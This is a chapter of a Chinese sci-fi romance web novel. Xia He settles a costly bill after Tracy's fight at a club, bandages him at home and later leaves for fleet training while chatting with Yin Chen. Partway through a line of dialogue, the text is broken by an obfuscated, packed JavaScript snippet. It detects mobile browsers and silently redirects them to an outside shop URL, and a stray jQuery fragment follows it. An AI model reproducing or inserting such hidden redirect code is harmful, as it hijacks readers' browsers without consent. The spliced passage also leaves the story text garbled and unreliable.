夏禾到了对方说的地点才发现是个娱乐会所,进去后大堂有些破破烂烂,空气中全是酒精的味道。
打电话的中年人走了过来,“是夏禾夏小姐?”
“嗯,他人呢?”她赶紧走过去。
“在这边。”
跟着负责人走到一边,才看到躺在沙发上呼呼大睡的特雷西,夏禾气得想打人,天杀的特雷西消失几天就给她搞事情。
靠得近才看到不仅嘴角破了皮,手上还有擦伤,她语气有些冲,“打坏的赔钱就是,怎么把他伤成这样?”
负责人翻着怀里的纸,掀起眼皮看了她一眼,“这点伤重吗?跟他打架那几个人只剩一口气吊着已经送去躺医疗舱了。”
“这是账单,打坏的设施,还有酒水钱,九十七万。”
“这么贵!?你这地方破破烂烂的值这么多钱!?”夏禾接过账单有些破防,这还开个屁的娱乐会所,直接去抢钱更快。
“破?这都是让他昨晚打坏的。”负责人指着沙发上的人,“账单上有明细,比起那几位躺医疗舱的花费,这个价格已经很便宜了。”
气得捏着鼻子付了款,她一年敞开了吃都用不了九十多万,特雷西这败家子!
她上去拍拍他,没动静,又使了点劲拍着他的脸,下一秒手腕被捉住,“疼疼疼,赶紧撒手。”
特雷西睁着眼冷冷地看着她,丢开她的手翻了个身。
“醒了就赶紧起来,你这什么态度?”夏禾一巴掌呼他身上。
“你来干什么?”
负责人收了钱,听到这动静,直接拆台,“不是你让我找她的?”
特雷西眯着眼扫向他。
这还有什么不懂的,老话说得对,男人静悄悄,必定在作妖。
哪怕是印沉都一个德行。
“行了,醒了就先跟我回去,在这边闹什么脾气?”夏禾伸手拉他起来。
特雷西冷哼一声倒是没再说什么,起身跟在她身后。
坐车里她有些受不了,酒精混合在一起的味道直冲天灵盖。
等回了家,她赶紧催促他去洗澡,去厨房翻了好一会儿,就找到几包面,煮一锅水全给丢进去一锅熟。
等她端着面出来,他已经围着个浴巾站在客厅有一会了,夏禾瞄了下眼睛有些挪不开。
宽肩窄腰的完美体型瘦而不柴,身上线条流畅,白皙的肌肤上有着擦伤,清晰可见的水珠顺着胸肌滚落,滑过整齐的腹肌,腹肌两侧深邃的人鱼线没入了随意低围的浴巾...荷尔蒙气息扑面而来,健壮却不夸张,整个人透着慵懒的性感。
再冷漠的女人看到都会笑的。
“好看吗?”
“好看,”夏禾诚实的回答。
“......”回过神视线上移上移再上移,对上了他的脸,雌雄莫辨的脸冷若冰霜,眉眼精致得不像凡人,唇角处细小的伤口渗着血丝,在白皙的肤色上格外鲜明,伤口非但没有破坏他的美,反而让他多了些颓废的美感。
人们在第一次接触某人或事物时,会在大脑中形成认知锚点,第一印象往往最鲜明最牢固,成为后续认知的基调,这就是首因效应,而随着交往时间的延长与表现首因效应会逐渐减弱,近因效应的作用会增强。
特雷西在她心里一直是军舰上傲娇好哄的小正太,直到此刻被惊艳到愣神,她才发现他是真的长大了。
“难道老男人没有给你看?”
这话说的毫不客气。
长大就是不一样,嘴巴也越来越刻薄了,夏禾皱着眉看他。
房门被敲响了。
特雷西转身去开门。
“等一下,把你那浴巾裹好。”夏禾赶紧提醒他。
特雷西冷笑一声,直接打开门,他倒要看看是谁,房门打开,他低头看了眼就没了兴趣。
周雅还没看清对方就转身了,宽阔厚实的腰背上全是擦伤与抓痕,浴巾下的长腿紧实有力,她直接整个人爆红,几小时没见...小禾还是太有实力了。
“小禾姐...”屋里亮得刺眼,她觉得是因为她进屋了。
“刚好来凑合吃点。”周母今天上班,夏禾直接招呼她坐下。
等坐下她才敢去看对方,这一看又是目瞪口呆,好看是一回事,竟然不是指挥官。
注意到周雅的视线,特雷西瞪了她一眼,撂下筷子语气嫌弃得很,“这煮的什么东西?”
夏禾一筷子敲他手上,“你还敢挑三拣四的,打个架几十万没了,现在还有的吃已经是家底丰厚了。”
“赶紧吃,吃完饭给你上点药。”
周雅被瞪了眼老实地低头喝着面汤,才听明白对方是打架弄伤的,她要为自己的所思所想深刻的忏悔。
特雷西看着手上的红痕,倒是也没说什么,正巧也饿了,喝了两口面汤又捣鼓着光脑。
很快夏禾就收到了他的转账,“那几个人的医药费怎么弄?”
“什么医药费?不想死他们就来找我要。”
深吸一口气,夏禾默念不生气,“因为什么打架的?”
特雷西坐在一边仰着下巴,一副天大地大他最大的样子,“你要像那晚一样去英雄救美?”
周雅竖着耳朵认真地听着,那晚?这个人竟然知道小禾在进化者大学?
“救个饿死鬼直接带回家,也难为你还能想着我。”
饿死鬼周雅吸溜一口面汤,抬起头指着自己,“我?”
对方挑眉白了她一眼,行吧,周雅算是看透了,小禾遇到这种事就是谁可怜谁就是对的,只怪她现在没鼻青脸肿。
“你在胡说什么?”
“饭也堵不住嘴吗?”
果然夏禾安抚的看了她一眼后不轻不重呵斥了他两句,正正好好两句,不多不少。
至于姐夫不姐夫的,不好意思,她这个饿死鬼的嘴可是很有骨气的,有骨气的人吃完饭主动收拾了厨房,逃也似的离开了这个家。
特雷西裹着个浴巾大喇喇的敞着腿坐在沙发上,夏禾拎着药箱出来感觉要长针眼了,伸脚踢了踢他的腿,“坐好。”
给他嘴角涂了点药,特雷西不高兴地挥着手,“这点小伤,等你想起来都好了。”
犟不过他,夏禾索性不管他了,“你这段时间干什么了?闷不做声憋个大的?”
“那你为什么不找我?”
“这不是都挺忙的...”
特雷西没拆穿她,“你知道老男人在天璇星这么久干什么的?”
“在忙吧...”
冷笑一声,特雷西似笑非笑看着她,“你这样单纯是玩不过他的。”
看夏禾不认同,他冷笑出声,“像他这样什么都喜欢掌握在手中的人,你觉得你和他在一起能得到想要的吗?”
“你还小...”
“夏禾,不管你信不信,都无法改变这个事实,我会让你信得。”特雷西说完就离开。
“特雷西。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17627655|202078||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
特雷西的手停在门把手上,表情有些意外,“信了?”
“不是,你要走把浴巾放下...”
低头看了看要掉不掉的浴巾,狠狠地瞪了她一眼,特雷西噘着嘴回去换了衣服,走的时候门甩的发出巨响。
夏禾不知道他怎么让她信,老男人...啊呸...指挥官确实是忙得脚不沾地。
两天时间很快过去,时间像是上了发条,半个月后他们被分到了Z3星系的舰队去实训。
没分到联邦星系让她松了口气。
十月初正式出发,出发前他们几个人看到了周屿的匹配对象,身材高挑的自然人柔顺的站在一边,五官清丽出尘,一双圆润细长的眼睛让她又多了些娇憨和亲和力,看人带着三分笑。
林瑜和安迪和她认识,走过去和她闲聊着,不知道说了什么,逗得她捂着嘴露出笑容。
夏禾和卡特凑在一边侃大山,卡特心不在焉伸着头四处看,“卡特,你在看什么呢?”
“爱格伯特,竟然没人来送你?”卡特语气鄙夷。
“卡特,你又比我好到哪里去了?”吵架的小雷达发出预警,夏禾毫不客气回怼着他。
“周雅怎么没来送你。”
“她在上课,她为什么要来?”夏禾翻了个白眼,只觉得对方每一句都是挑衅。
卡特被噎得说不出话,哼了声不再理他,两个人站在一边,像充满怨气的单身狗看着闲聊的几人。
没一会周屿过来了,看到了她有些意外,“你怎么来了?”
许仪温顺地露出笑,“想来见你的。”
周屿没回话,林瑜和安迪对视一眼,调侃着他不懂得照顾人。
许仪脸上的笑容不变,顺着他的视线看向了站在一边的两人。
一个高大长相粗犷,面部轮廓硬朗,另一个矮小长相清秀,两人脸上是明晃晃的不开心,不动声色地收回视线,她笑着回应林瑜。
集合的哨声响起,夏禾背着包跟在卡特身后向着人群走去。
等上了飞船几人才坐到一处,按照上次的行动来划分,这次他们依然分到了一个舰队。
林瑜和安迪在小声说着悄悄话,夏禾歪着头准备补一觉,落在脸上的视线如有实质,她睁眼瞪过去才发现是周屿,尴尬地点点头,她闭上眼躺了回去。
周围都是小声谈话声,其实也睡不着,她索性回复印沉的消息,听完印沉的洗手间深情演唱,结束了今日份的灵魂拷打,正要松口气就看到印沉继续发消息,这才知道他今天也要出任务。
印沉:小禾,等着我升官发财吧。
一口吃不夏:漏了一句。
印沉:?
一口吃不夏:娶老婆(*?▽?*)
印沉:你好像很幽默?
印沉:你这个该死的异常甜美的女人引起了我的注意,你这可恶的暗示啊。
印沉:说话!
印沉:不理我?
印沉:欲擒故纵?
印沉:放长线钓大鱼?
越说越离谱,夏禾险些笑出声。
一口吃不夏:出任务有危险吗?
印沉:谁知道呢,302星发现了实验室,你就等着哥立大功吧!
一口吃不夏:悠着点,我可不想再出一大笔维修费。
印沉:你掉钱眼里了?
印沉:哥让你挨过饿?
印沉:说话!
印沉:?